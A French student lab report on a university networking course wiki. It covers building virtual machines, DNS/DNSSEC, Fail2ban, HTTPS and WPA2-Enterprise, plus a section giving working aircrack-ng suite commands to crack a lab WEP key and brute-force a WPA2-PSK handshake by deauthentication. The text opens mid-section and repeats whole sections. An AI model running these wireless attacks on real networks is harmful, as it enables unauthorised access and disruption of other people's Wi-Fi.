WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

= Sécurisation WiFi par WPA2-EAP =

== Objectif ==

L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme
d’authentification WPA2-Enterprise (WPA2-EAP).
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé
FreeRadius permettant une authentification individuelle des utilisateurs.

L’infrastructure repose sur :
* un VLAN personnel dédié ;
* une redondance des routeurs via VRRP ;
* un serveur FreeRadius installé sur la machine virtuelle de services.

== Accès aux équipements réseau ==

La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :

<syntaxhighlight lang="bash">
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\
diffie-hellman-group14-sha1,\
diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\
aes128-ctr,aes192-ctr,aes256-ctr \
admin@172.27.0.2
</syntaxhighlight>

=== Adressage des équipements ===

{| class="wikitable"
! Equipement !! Adresse IP
|-
| Routeur C9200 E304 || 172.27.0.1
|-
| Routeur C9200 E306 || 172.27.0.2
|-
| Borne WiFi E306 || 172.27.0.3
|-
| Borne WiFi E304 || 172.27.0.4
|}

== Création du VLAN personnel ==

Le VLAN personnel attribué est le VLAN '''18'''.

=== Sur les deux routeurs ===

<syntaxhighlight lang="bash">
conf t
vlan 18
name VLAN_YASSINE
exit
</syntaxhighlight>

== Configuration des interfaces VLAN ==

=== Routeur principal (E304) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.2 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 110
vrrp 18 preempt
no shutdown
</syntaxhighlight>

=== Routeur secondaire (E306) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.3 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 100
vrrp 18 preempt
no shutdown
</syntaxhighlight>

L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.

== Configuration DHCP ==

Le serveur DHCP est réparti entre les deux routeurs.

=== Routeur E304 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-A
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.100 10.60.8.150
</syntaxhighlight>

=== Routeur E306 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-B
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.151 10.60.8.200
</syntaxhighlight>

== Routage vers la machine mandataire (PBR) ==

Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.

<syntaxhighlight lang="bash">
access-list 101 permit ip 10.60.8.0 0.0.0.255 any

route-map PBR-YASSINE permit 10
match ip address 101
set ip next-hop 192.168.7.1
</syntaxhighlight>

Application :

<syntaxhighlight lang="bash">
interface vlan 18
ip policy route-map PBR-YASSINE
</syntaxhighlight>

== Configuration du serveur FreeRadius ==

Sur la machine virtuelle de services (192.168.7.2) :

Installation :

<syntaxhighlight lang="bash">
apt install freeradius freeradius-utils
</syntaxhighlight>

Ajout du point d’accès WiFi :

Atelier SysRes SE4 2025/2026 E8

2026-02-27T13:24:23Z

Yyahiani : /* Génération des clés */

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online :
[[Fichier:Dnssecrs7.png|centré|vignette|925x925px]]

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

=== Cassage de la clé ===

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

= Sécurisation WiFi par WPA2-EAP =

== Objectif ==

L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme
d’authentification WPA2-Enterprise (WPA2-EAP).
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé
FreeRadius permettant une authentification individuelle des utilisateurs.

L’infrastructure repose sur :
* un VLAN personnel dédié ;
* une redondance des routeurs via VRRP ;
* un serveur FreeRadius installé sur la machine virtuelle de services.

---

== Accès aux équipements réseau ==

La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :

<syntaxhighlight lang="bash">
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\
diffie-hellman-group14-sha1,\
diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\
aes128-ctr,aes192-ctr,aes256-ctr \
admin@172.27.0.2
</syntaxhighlight>

=== Adressage des équipements ===

{| class="wikitable"
! Equipement !! Adresse IP
|-
| Routeur C9200 E304 || 172.27.0.1
|-
| Routeur C9200 E306 || 172.27.0.2
|-
| Borne WiFi E306 || 172.27.0.3
|-
| Borne WiFi E304 || 172.27.0.4
|}

---

== Création du VLAN personnel ==

Le VLAN personnel attribué est le VLAN '''18'''.

=== Sur les deux routeurs ===

<syntaxhighlight lang="bash">
conf t
vlan 18
name VLAN_YASSINE
exit
</syntaxhighlight>

---

== Configuration des interfaces VLAN ==

=== Routeur principal (E304) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.2 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 110
vrrp 18 preempt
no shutdown
</syntaxhighlight>

---

=== Routeur secondaire (E306) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.3 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 100
vrrp 18 preempt
no shutdown
</syntaxhighlight>

L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.

---

== Configuration DHCP ==

Le serveur DHCP est réparti entre les deux routeurs.

=== Routeur E304 ===

<syntaxhighlight lang="bash">
